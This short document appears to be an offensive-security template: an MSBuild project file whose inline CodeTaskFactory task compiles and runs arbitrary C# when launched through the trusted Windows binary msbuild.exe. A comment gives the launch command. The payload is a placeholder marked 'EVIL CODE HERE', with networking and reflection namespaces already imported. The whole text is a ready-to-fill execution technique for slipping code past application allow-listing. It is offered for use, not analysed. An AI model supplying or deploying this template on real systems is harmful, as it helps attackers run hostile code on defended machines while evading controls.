MSBuild project definition to execute arbitrary code from msbuild.exe

msbuild.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
  <Target Name="Hello">
    <SharpLauncher >
    </SharpLauncher>
  </Target>
  <UsingTask
    TaskName="SharpLauncher"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.Net" />
          <Using Namespace="System.Reflection" />
      <Code Type="Fragment" Language="cs">
      <![CDATA[
        Console.WriteLine(" EVIL CODE HERE ! :-) ");
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>